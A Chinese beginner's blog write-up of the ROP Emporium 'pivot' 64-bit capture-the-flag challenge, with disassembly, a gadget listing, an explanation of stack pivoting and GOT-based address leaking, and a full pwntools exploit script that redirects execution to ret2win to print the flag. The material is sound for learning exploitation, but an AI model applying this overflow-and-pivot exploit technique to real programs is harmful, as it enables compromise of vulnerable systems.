ROP Emporium-新手学习-pivot(64)

+================+
| 加深对ROP的理解    |
+================+

一个pwn新手的笔记

1.基本信息

1.1文件相关

arch     x86
baddr    0x400000
binsz    11395
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    ./
sanitiz  false
static   false
stripped false
subsys   linux
va       true

关键的地方说几点吧:

arch     x86
bintype  elf
bits     64
nx       true
os       linux
relocs   true

又是NX保护,但是开启了地址随机化,这个就需要泄露函数地址

1.2运行:

root@MSI:/mnt/c/Disk E/CTF/Question/rop_emporium_all_challenges/07_pivot# ./pivot
pivot by ROP Emporium
64bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7f84d380ff10
Send your second chain now and it will land there
> a
Now kindly send your stack smash
> aaaa

Exiting

2.代码分析:

2.1 函数:

[0x004008a0]> afl
0x004008a0    1 41           entry0
0x00400830    1 6            sym.imp.__libc_start_main
0x004007b8    3 26           sym._init
0x00400b84    1 9            sym._fini
0x004008d0    4 50   -> 41   sym.deregister_tm_clones
0x00400910    4 58   -> 55   sym.register_tm_clones
0x00400950    3 28           entry.fini0
0x00400970    4 38   -> 35   entry.init0
0x00400a3b    1 167          sym.pwnme
0x00400820    1 6            sym.imp.memset
0x00400800    1 6            sym.imp.puts
0x00400810    1 6            sym.imp.printf
0x00400840    1 6            sym.imp.fgets
0x00400ae2    1 24           sym.uselessFunction
0x00400850    1 6            sym.imp.foothold_function
0x00400880    1 6            sym.imp.exit
0x00400b80    1 2            sym.__libc_csu_fini
0x00400b10    4 101          sym.__libc_csu_init
0x00400996    1 165          main
0x00400870    1 6            sym.imp.setvbuf
0x00400860    1 6            sym.imp.malloc
0x004007f0    1 6            sym.imp.free
  • main:
[0x004008a0]> pdf @main
            ; DATA XREF from entry0 @ 0x4008bd
┌ 165: int main (int argc, char **argv, char **envp);
│           ; var int64_t var_10h @ rbp-0x10
│           ; var void *ptr @ rbp-0x8
│           0x00400996      55             push rbp
│           0x00400997      4889e5         mov rbp, rsp
│           0x0040099a      4883ec10       sub rsp, 0x10
│           0x0040099e      488b05db1620.  mov rax, qword [obj.stdout] ; obj.stdout__GLIBC_2.2.5
│                                                                      ; [0x602080:8]=0
│           0x004009a5      b900000000     mov ecx, 0                  ; size_t size
│           0x004009aa      ba02000000     mov edx, 2                  ; int mode
│           0x004009af      be00000000     mov esi, 0                  ; char *buf
│           0x004009b4      4889c7         mov rdi, rax                ; FILE*stream
│           0x004009b7      e8b4feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x004009bc      488b05dd1620.  mov rax, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│                                                                      ; [0x6020a0:8]=0
│           0x004009c3      b900000000     mov ecx, 0                  ; size_t size
│           0x004009c8      ba02000000     mov edx, 2                  ; int mode
│           0x004009cd      be00000000     mov esi, 0                  ; char *buf
│           0x004009d2      4889c7         mov rdi, rax                ; FILE*stream
│           0x004009d5      e896feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x004009da      bf980b4000     mov edi, str.pivot_by_ROP_Emporium ; 0x400b98 ; "pivot by ROP Emporium" ; const char *s
│           0x004009df      e81cfeffff     call sym.imp.puts           ; int puts(const char *s)
│           0x004009e4      bfae0b4000     mov edi, str.64bits         ; 0x400bae ; "64bits\n" ; const char *s
│           0x004009e9      e812feffff     call sym.imp.puts           ; int puts(const char *s)
│           0x004009ee      bf00000001     mov edi, 0x1000000          ; size_t size
│           0x004009f3      e868feffff     call sym.imp.malloc         ;  void *malloc(size_t size)
│           0x004009f8      488945f8       mov qword [ptr], rax
│           0x004009fc      488b45f8       mov rax, qword [ptr]
│           0x00400a00      480500ffff00   add rax, 0xffff00
│           0x00400a06      488945f0       mov qword [var_10h], rax
│           0x00400a0a      488b45f0       mov rax, qword [var_10h]
│           0x00400a0e      4889c7         mov rdi, rax
│           0x00400a11      e825000000     call sym.pwnme
│           0x00400a16      48c745f00000.  mov qword [var_10h], 0
│           0x00400a1e      488b45f8       mov rax, qword [ptr]
│           0x00400a22      4889c7         mov rdi, rax                ; void *ptr
│           0x00400a25      e8c6fdffff     call sym.imp.free           ; void free(void *ptr)
│           0x00400a2a      bfb60b4000     mov edi, str.Exiting        ; 0x400bb6 ; "\nExiting" ; const char *s
│           0x00400a2f      e8ccfdffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00400a34      b800000000     mov eax, 0
│           0x00400a39      c9             leave
└           0x00400a3a      c3             ret

实在看不懂也可以用IDA:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *ptr; // ST08_8

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("pivot by ROP Emporium");
  puts("64bits\n");
  ptr = (char *)malloc(0x1000000uLL);
  pwnme(ptr + 16776960, 0LL);
  free(ptr);
  puts("\nExiting");
  return 0;
}

就是pwnme整个函数的栈是在ptr(malloc分配的堆)+16776960上面运行的

  • pwnme:
[0x004008a0]> pdf @sym.pwnme
            ; CALL XREF from main @ 0x400a11
┌ 167: sym.pwnme (char *arg1);
│           ; var char *var_28h @ rbp-0x28
│           ; var char *s @ rbp-0x20
│           ; arg char *arg1 @ rdi
│           0x00400a3b      55             push rbp
│           0x00400a3c      4889e5         mov rbp, rsp
│           0x00400a3f      4883ec30       sub rsp, 0x30
│           0x00400a43      48897dd8       mov qword [var_28h], rdi    ; arg1
│           0x00400a47      488d45e0       lea rax, [s]
│           0x00400a4b      ba20000000     mov edx, 0x20               ; 32 ; size_t n
│           0x00400a50      be00000000     mov esi, 0                  ; int c
│           0x00400a55      4889c7         mov rdi, rax                ; void *s
│           0x00400a58      e8c3fdffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
│           0x00400a5d      bfc00b4000     mov edi, str.Call_ret2win___from_libpivot.so ; 0x400bc0 ; "Call ret2win() from libpivot.so" ; const char *s
│           0x00400a62      e899fdffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00400a67      488b45d8       mov rax, qword [var_28h]
│           0x00400a6b      4889c6         mov rsi, rax
│           0x00400a6e      bfe00b4000     mov edi, str.The_Old_Gods_kindly_bestow_upon_you_a_place_to_pivot:__p ; 0x400be0 ; "The Old Gods kindly bestow upon you a place to pivot: %p\n" ; const char *format
│           0x00400a73      b800000000     mov eax, 0
│           0x00400a78      e893fdffff     call sym.imp.printf         ; int printf(const char *format)
│           0x00400a7d      bf200c4000     mov edi, str.Send_your_second_chain_now_and_it_will_land_there ; 0x400c20 ; "Send your second chain now and it will land there" ; const char *s
│           0x00400a82      e879fdffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00400a87      bf520c4000     mov edi, 0x400c52           ; const char *format
│           0x00400a8c      b800000000     mov eax, 0
│           0x00400a91      e87afdffff     call sym.imp.printf         ; int printf(const char *format)
│           0x00400a96      488b15f31520.  mov rdx, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5
│                                                                      ; [0x602090:8]=0 ; FILE *stream
│           0x00400a9d      488b45d8       mov rax, qword [var_28h]
│           0x00400aa1      be00010000     mov esi, 0x100              ; 256 ; int size
│           0x00400aa6      4889c7         mov rdi, rax                ; char *s
│           0x00400aa9      e892fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
│           0x00400aae      bf580c4000     mov edi, str.Now_kindly_send_your_stack_smash ; 0x400c58 ; "Now kindly send your stack smash" ; const char *s
│           0x00400ab3      e848fdffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00400ab8      bf520c4000     mov edi, 0x400c52           ; const char *format
│           0x00400abd      b800000000     mov eax, 0
│           0x00400ac2      e849fdffff     call sym.imp.printf         ; int printf(const char *format)
│           0x00400ac7      488b15c21520.  mov rdx, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5
│                                                                      ; [0x602090:8]=0 ; FILE *stream
│           0x00400ace      488d45e0       lea rax, [s]
│           0x00400ad2      be40000000     mov esi, 0x40               ; '@' ; 64 ; int size
│           0x00400ad7      4889c7         mov rdi, rax                ; char *s
│           0x00400ada      e861fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
│           0x00400adf      90             nop
│           0x00400ae0      c9             leave
└           0x00400ae1      c3             ret

IDA:

char *__fastcall pwnme(char *a1)
{
  char s; // [rsp+10h] [rbp-20h]

  memset(&s, 0, 0x20uLL);
  puts("Call ret2win() from libpivot.so");
  printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", a1);
  puts("Send your second chain now and it will land there");
  printf("> ");
  fgets(a1, 256, stdin);
  puts("Now kindly send your stack smash");
  printf("> ", 256LL);
  return fgets(&s, 64, stdin);
}

 因为开启了随机化地址(ASLR),本来是要想办法找到a1的地址,但是这里降低了难度,直接给我们打印出来了。而且第一个fgets写入的地址是直接写入到a1这个空间上。
 还有一点就是fgets的溢出漏洞。

  • uselessFunction:
[0x004008a0]> pdf @sym.uselessFunction
┌ 24: sym.uselessFunction ();
│           0x00400ae2      55             push rbp
│           0x00400ae3      4889e5         mov rbp, rsp
│           0x00400ae6      b800000000     mov eax, 0
│           0x00400aeb      e860fdffff     call sym.imp.foothold_function
│           0x00400af0      bf01000000     mov edi, 1          ; int status
└           0x00400af5      e886fdffff     call sym.imp.exit   ; void exit(int status)

IDA

void __noreturn uselessFunction()
{
  foothold_function();
  exit(1);
}

调用了foothold_function这个函数,但是并不useless!

  • foothold_function:
[0x004008a0]> pdf @sym.imp.foothold_function
            ; CALL XREF from sym.uselessFunction @ 0x400aeb
┌ 6: sym.imp.foothold_function ();
│ bp: 0 (vars 0, args 0)
│ sp: 0 (vars 0, args 0)
│ rg: 0 (vars 0, args 0)
└           0x00400850      ff25f2172000   jmp qword [reloc.foothold_function] ; [0x602048:8]=0x400856 ; "V\b@"

说明了这里引用了外面的一个库,由经验决定这个是携带的库文件:libpivot.so

2.2 lippivot.so

2.2.1直接上r2:

[0x00000870]> afl
0x00000870    4 50   -> 44   entry0
0x00000970    1 24           sym.foothold_function
0x00000840    1 6            sym.imp.printf
0x00000ad8    1 9            sym._fini
0x000007f8    3 26           sym._init
0x00000850    1 6            sym.imp.exit
0x00000830    1 6            sym.imp.system
0x000008b0    4 66   -> 57   sym.register_tm_clones
0x00000900    5 50           entry.fini0
0x00000940    4 48   -> 42   entry.init0
0x00000000    3 124  -> 109  loc.imp._ITM_deregisterTMCloneTable
0x00000988    1 31           sym.void_function_01
0x000009a7    1 31           sym.void_function_02
0x000009c6    1 31           sym.void_function_03
0x000009e5    1 31           sym.void_function_04
0x00000a04    1 31           sym.void_function_05
0x00000a23    1 31           sym.void_function_06
0x00000a42    1 31           sym.void_function_07
0x00000a61    1 31           sym.void_function_08
0x00000a80    1 31           sym.void_function_09
0x00000a9f    1 31           sym.void_function_10
0x00000abe    1 26           sym.ret2win

发现了ret2win,foothold_function

2.2.2 foothold_function:

[0x00000870]> pdf @sym.foothold_function
┌ 24: sym.foothold_function ();
│           0x00000970      55             push rbp
│           0x00000971      4889e5         mov rbp, rsp
│           0x00000974      488d3d6d0100.  lea rdi, str.foothold_function____check_out_my_.got.plt_entry_to_gain_a_foothold_into_libpivot.so ; sym..rodata
│                                                                      ; 0xae8 ; "foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so" ; const char *format
│           0x0000097b      b800000000     mov eax, 0
│           0x00000980      e8bbfeffff     call sym.imp.printf         ; int printf(const char *format)
│           0x00000985      90             nop
│           0x00000986      5d             pop rbp
└           0x00000987      c3             ret

IDA:

int foothold_function()
{
  return printf("foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so");
}

这个函数并没有什么用,只是提醒了我们该用什么方法

2.2.3 ret2win:

[0x00000870]> pdf @sym.ret2win
┌ 26: sym.ret2win ();
│           0x00000abe      55             push rbp
│           0x00000abf      4889e5         mov rbp, rsp
│           0x00000ac2      488d3d880000.  lea rdi, str.bin_cat_flag.txt ; 0xb51 ; "/bin/cat flag.txt" ; const char *string
│           0x00000ac9      e862fdffff     call sym.imp.system         ; int system(const char *string)
│           0x00000ace      bf00000000     mov edi, 0                  ; int status
└           0x00000ad3      e878fdffff     call sym.imp.exit           ; void exit(int status)

IDA:

void __noreturn ret2win()
{
  system("/bin/cat flag.txt");
  exit(0);
}

发现了留下来的后门程序

2.2.4 利用libc

 由于开启了地址随机化,我们不能直接按地址调用库里面的函数,但是如果知道了一个函数的地址,用之前计算好的偏移,就可以知道这个函数的相对地址。
 这种方法有点类似于天文学家关于未知行星的研究,从一个相对的地方来推导,可以理解为科学的一种思维
 就是泄露ret2win需要一个got地址,可以在 这里了解got和plt,其实之前的ROP Emporium-新手学习-callme(64)里面也涉及了,总之就是调用了plt才会有got,最后才能找到动态链接库的入口,也就是这里foothold函数的真正地址

在r2中实现如下:

[0x004008a0]> ir
[Relocations]

vaddr      paddr      type   name
―――――――――――――――――――――――――――――――――
0x00601ff8 0x00001ff8 SET_64  __gmon_start__
0x00602018 0x00002018 SET_64  free
0x00602020 0x00002020 SET_64  puts
0x00602028 0x00002028 SET_64  printf
0x00602030 0x00002030 SET_64  memset
0x00602038 0x00002038 SET_64  __libc_start_main
0x00602040 0x00002040 SET_64  fgets
0x00602048 0x00002048 SET_64  foothold_function
0x00602050 0x00002050 SET_64  malloc
0x00602058 0x00002058 SET_64  setvbuf
0x00602060 0x00002060 SET_64  exit
0x00602080 0x00602080 SET_64  stdout
0x00602090 0x00602090 SET_64  stdin
0x006020a0 0x006020a0 SET_64  stderr


14 relocations

3.准备工作

3.1思路:

回顾漏洞点函数pwnme:

char *__fastcall pwnme(char *a1)
{
  char s; // [rsp+10h] [rbp-20h]

  memset(&s, 0, 0x20uLL);
  puts("Call ret2win() from libpivot.so");
  printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", a1);
  puts("Send your second chain now and it will land there");
  printf("> ");
  fgets(a1, 256, stdin);
  puts("Now kindly send your stack smash");
  printf("> ", 256LL);
  return fgets(&s, 64, stdin);
}

第一个在堆块上随意写,第二个可以用的空间是64-32=32,不够用,所以这里要用一个方法,也是本篇想记录的方法

stack pivot ---栈的迁移

3.1.2 stack pivot,栈的迁移:

  • 原理

即通过覆盖调用者的 ebp,将栈帧转 移到另一个地方,同时控制 eip,即可改变程序的执行流

  • payload结构:

buffer padding | fake ebp | leave;ret addr |

  • 大致过程

这样函数的返回地址就被覆盖为 leave;ret 指令的地址,这样程序在执行完其原本的 leave;ret 后,又执行了一次 leave;ret。
另外 fake ebp 指向我们另一段 payload(这里称为主payload) 的 ebp

  • 常用方法
    我们知道一个函数的入口点通常是:
push ebp 
mov ebp;esp

leave指令相当于:

mov esp,
ebp pop,ebp

ret 指令为相当于:

pop eip

3.1.3 整体思路

第一次写入一部分paylaod,第二次实现栈的转移,大概是:

rbp--->fake rbp

3.2 ROP链的构造

3.2.1 ropper:

root@MSI:/mnt/c/Disk E/CTF/Question/rop_emporium_all_challenges/07_pivot# ropper --file pivot
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%



Gadgets
=======


0x0000000000400b7f: add bl, dh; ret;
0x0000000000400984: add byte ptr [rax - 0x7b], cl; sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax; 0x0000000000400b7d: add byte ptr [rax], al; add bl, dh; ret;
0x0000000000400982: add byte ptr [rax], al; add byte ptr [rax - 0x7b], cl; sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax;
0x0000000000400b7b: add byte ptr [rax], al; add byte ptr [rax], al; add bl, dh; ret;
0x00000000004008fc: add byte ptr [rax], al; add byte ptr [rax], al; pop rbp; ret;
0x0000000000400a35: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;
0x0000000000400a36: add byte ptr [rax], al; add cl, cl; ret;
0x00000000004007cb: add byte ptr [rax], al; add rsp, 8; ret;
0x0000000000400af3: add byte ptr [rax], al; call 0x880; nop word ptr [rax + rax]; pop rax; ret;
0x0000000000400ad5: add byte ptr [rax], al; mov rdi, rax; call 0x840; nop; leave; ret;
0x0000000000400afe: add byte ptr [rax], al; pop rax; ret;
0x00000000004008fe: add byte ptr [rax], al; pop rbp; ret;
0x0000000000400b82: add byte ptr [rax], al; sub rsp, 8; add rsp, 8; ret;
0x00000000004008e8: add byte ptr [rax], al; test rax, rax; je 0x900; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400936: add byte ptr [rax], al; test rax, rax; je 0x948; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400983: add byte ptr [rax], al; test rax, rax; je 0x97b; push rbp; mov rbp, rsp; call rax;
0x0000000000400a37: add byte ptr [rax], al; leave; ret;
0x0000000000400afd: add byte ptr [rax], r8b; pop rax; ret;
0x0000000000400a38: add cl, cl; ret;
0x0000000000400af1: add dword ptr [rax], eax; add byte ptr [rax], al; call 0x880; nop word ptr [rax + rax]; pop rax; ret;
0x0000000000400964: add eax, 0x20173e; add ebx, esi; ret;
0x0000000000400b0a: add eax, ebp; ret;
0x0000000000400969: add ebx, esi; ret;
0x00000000004007ce: add esp, 8; ret;
0x0000000000400b09: add rax, rbp; ret;
0x00000000004007cd: add rsp, 8; ret;
0x00000000004008f2: and byte ptr [rax], ah; jmp rax;
0x0000000000400967: and byte ptr [rax], al; add ebx, esi; ret;
0x0000000000400a25: call 0x7f0; mov edi, 0x400bb6; call 0x800; mov eax, 0; leave; ret;
0x0000000000400a2f: call 0x800; mov eax, 0; leave; ret;
0x0000000000400ada: call 0x840; nop; leave; ret;
0x0000000000400aeb: call 0x850; mov edi, 1; call 0x880; nop word ptr [rax + rax]; pop rax; ret;
0x0000000000400af5: call 0x880; nop word ptr [rax + rax]; pop rax; ret;
0x0000000000400995: call qword ptr [rbp + 0x48];
0x000000000040098e: call rax;
0x0000000000400ca3: call rsp;
0x0000000000400b5c: fmul qword ptr [rax - 0x7d]; ret;
0x00000000004008ed: je 0x900; pop rbp; mov edi, 0x602078; jmp rax;
0x000000000040093b: je 0x948; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400988: je 0x97b; push rbp; mov rbp, rsp; call rax;
0x0000000000400d9b: jmp qword ptr [rbp];
0x0000000000400d5b: jmp qword ptr [rdi];
0x0000000000400af9: jmp qword ptr [rsi + 0xf];
0x00000000004008f5: jmp rax;
0x0000000000400961: lcall [rbp - 0x3a]; add eax, 0x20173e; add ebx, esi; ret;
0x0000000000400a34: mov eax, 0; leave; ret;
0x0000000000400b06: mov eax, dword ptr [rax]; ret;
0x000000000040098c: mov ebp, esp; call rax;
0x0000000000400a2a: mov edi, 0x400bb6; call 0x800; mov eax, 0; leave; ret;
0x00000000004008f0: mov edi, 0x602078; jmp rax;
0x0000000000400af0: mov edi, 1; call 0x880; nop word ptr [rax + rax]; pop rax; ret;
0x0000000000400ad8: mov edi, eax; call 0x840; nop; leave; ret;
0x0000000000400ad2: mov esi, 0x40; mov rdi, rax; call 0x840; nop; leave; ret;
0x0000000000400b05: mov rax, qword ptr [rax]; ret;
0x000000000040098b: mov rbp, rsp; call rax;
0x0000000000400ad7: mov rdi, rax; call 0x840; nop; leave; ret;
0x0000000000400afb: nop dword ptr [rax + rax]; pop rax; ret;
0x00000000004008f8: nop dword ptr [rax + rax]; pop rbp; ret;
0x0000000000400945: nop dword ptr [rax]; pop rbp; ret;
0x0000000000400afa: nop word ptr [rax + rax]; pop rax; ret;
0x00000000004008f7: nop word ptr [rax + rax]; pop rbp; ret;
0x0000000000400a2c: or eax, dword ptr [rax]; call 0x800; mov eax, 0; leave; ret;
0x0000000000400b6c: pop r12; pop r13; pop r14; pop r15; ret;
0x0000000000400b6e: pop r13; pop r14; pop r15; ret;
0x0000000000400b70: pop r14; pop r15; ret;
0x0000000000400b72: pop r15; ret;
0x0000000000400b00: pop rax; ret;
0x00000000004008ef: pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400b6b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x0000000000400b6f: pop rbp; pop r14; pop r15; ret;
0x0000000000400900: pop rbp; ret;
0x0000000000400b73: pop rdi; ret;
0x0000000000400b71: pop rsi; pop r15; ret;
0x0000000000400b6d: pop rsp; pop r13; pop r14; pop r15; ret;
0x000000000040098a: push rbp; mov rbp, rsp; call rax;
0x0000000000400aca: ret 0x2015;
0x0000000000400987: sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax;
0x0000000000400b85: sub esp, 8; add rsp, 8; ret;
0x0000000000400b84: sub rsp, 8; add rsp, 8; ret;
0x00000000004008fa: test byte ptr [rax], al; add byte ptr [rax], al; add byte ptr [rax], al; pop rbp; ret;
0x00000000004008eb: test eax, eax; je 0x900; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400939: test eax, eax; je 0x948; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400986: test eax, eax; je 0x97b; push rbp; mov rbp, rsp; call rax;
0x00000000004008ea: test rax, rax; je 0x900; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400938: test rax, rax; je 0x948; pop rbp; mov edi, 0x602078; jmp rax;
0x0000000000400985: test rax, rax; je 0x97b; push rbp; mov rbp, rsp; call rax;
0x0000000000400b03: xchg eax, esp; ret;
0x0000000000400b02: xchg rax, rsp; ret;
0x0000000000400989: int1; push rbp; mov rbp, rsp; call rax;
0x0000000000400a39: leave; ret;
0x0000000000400adf: nop; leave; ret;
0x00000000004007c9: ret;

93 gadgets found

3.2.2 合适的rop:

1.第二次输入的ROP:

0x0000000000400b00: pop rax; ret;
0x0000000000400b02: xchg rax, rsp; ret;

大致意思,这里引用ropemporium-pivot/里面的解释

  • Firstly let’s use 0x0000000000400b00: pop rax; ret;
  • Then we can use the second place to enter the address of the buffer.
  • Lastly swap values with 0x0000000000400b02: xchg rax, rsp; ret;

翻译一下吧:

  • 首先使用0x0000000000400b00: pop rax; ret; //弹出rax
  • 然后输入要迁移到的目的地
  • 最后交换二者的值:rax和rsp //修改了rsp的值

2.第一次输入的ROP:

0x0000000000400900: pop rbp; ret;
0x0000000000400b05: mov rax, qword ptr [rax]; ret;
0x000000000040098e: call rax;
0x0000000000400b09: add rax, rbp; ret;

再次引用ropemporium-pivot/里面的解释

  • Firstly, let’s call the foothold_function to populate the .got.plt entry.
  • After that pop the value of foothold_function’s got entry into the register rax.
  • After that, we can move the the value from the address rax into rax.Now in rax we should have the contents of got entry for foothold_function.
  • Add the offset to the rax register to get our ret2win function.
  • Call it.

3.3大致模拟:

  • 接受堆块a1地址
  • 先写入后面的paylaod:

1.调用foothold_function@plt
2.弹出rax
3.将foothold_function@got写入rax
4.将rax指向的指针(foothold_functiond@got的地址)传递给rax
5.弹出rbp
6.写入数字(foothold_function和ret2win之差)
7.让rax和rbp相加,并将结果返回给rax
8.调用rax

  • 在第二次输入进行stack pivot

4.EXP

from pwn import *
context.log_level = "debug"
p = process("./pivot")

pop_rax_ret = 0x0400b00
xchg_rax_rsp_ret = 0x0400b02

pop_rbp_ret = 0x0400900
mov_rax_prax_ret = 0x0400b05
call_rax = 0x040098e
add_rax_rbp_ret = 0x0400b09

foothold_got = 0x0602048
foothold_plt = 0x0400850
heap_addr = int(p.recvline_contains('The Old Gods kindly bestow upon you a place to pivot:').decode('UTF-8').split(' ')[-1], 16)

payload1 = ""
payload1 += p64(foothold_plt)
payload1 += p64(pop_rax_ret)
payload1 += p64(foothold_got)
payload1 += p64(mov_rax_prax_ret)
payload1 += p64(pop_rbp_ret)
payload1 += p64(0x14e)
payload1 += p64(add_rax_rbp_ret)
payload1 += p64(call_rax)

payload2 = 'a'*40
payload2 += p64(pop_rax_ret)
payload2 += p64(heap_addr)
payload2 += p64(xchg_rax_rsp_ret)

p.recvuntil("Send your second chain now and it will land there")
p.sendline(payload1)

p.recvuntil("Now kindly send your stack smash")
#p.recvuntil("> ")
p.sendline(payload2)

print(p.recvall())
p.interactive()

5.总结

  • 学习pwn的话可能很难,但是要靠积累吧,主要是一个持之以恒的东西。
  • 这是ROP Emporium 64位的最后一道题了,所以比较多的东西都揉在了一起,还是比较考脑力吧。
  • ROP链的构造可能比较考察汇编能力吧,但是gadgets的功能真的是敢说敢做的。
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,793评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,567评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,342评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,825评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,814评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,680评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,033评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,687评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,175评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,668评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,775评论 1 332
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,419评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,020评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,978评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,206评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,092评论 2 351
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,510评论 2 343

推荐阅读更多精彩内容

  • Return-Oriented-Programming(ROP FTW) Author: Saif El-Sher...
    RealSys阅读 3,294评论 0 2
  • Lua 5.1 参考手册 by Roberto Ierusalimschy, Luiz Henrique de F...
    苏黎九歌阅读 13,733评论 0 38
  • 0. 引言 如果你学的第一门程序语言是C语言,那么下面这段程序很可能是你写出来的第一个有完整的 “输入---处理-...
    pandolia阅读 13,950评论 13 27
  • 你想过你25岁时候的样子嘛? 虽不是历经沧海,但也看过了对这个世界安静和喧闹。 你想过你会怀念小时候吗? 即使那会...
    一只思考的熊阅读 240评论 0 0
  • 暮色四合,华灯初上,灯光美轮美奂,场景惟妙惟肖,演员积极投入,演众好许如朝,节目异彩纷呈,组织堪称完美。 申家泊学...
    西岭布衣阅读 134评论 0 1